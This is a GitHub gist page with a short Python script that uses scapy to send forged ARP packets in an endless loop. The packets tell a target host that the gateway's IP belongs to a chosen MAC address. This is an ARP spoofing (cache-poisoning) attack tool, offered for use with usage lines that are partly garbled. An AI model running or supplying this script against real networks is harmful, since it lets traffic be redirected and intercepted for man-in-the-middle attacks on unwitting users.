Skip to content

Instantly share code, notes, and snippets.

Created February 1, 2015 13:39
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save xaitax/5439bfbd41eda804f8c0 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
import logging
import sys
if len(sys.argv) != 5:
print ''
print ' Alexander Hagenah -'
print ''
print 'Usage: ./ <interface> <gateway_ip> <gateway_mac> <target_ip>'
print 'Example: ./ wlan0 DE:AD:BE:EF:CA:FE'
print ''
from scapy.all import *;
from time import sleep;
interface = sys.argv[1]
gateway_ip = sys.argv[2]
gateway_mac = sys.argv[3]
target_ip = sys.argv[4]
packet = ARP();
packet.psrc = gateway_ip
packet.hwsrc = gateway_mac
packet.pdst = target_ip
while 1:
send(packet, iface=interface, verbose=1);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment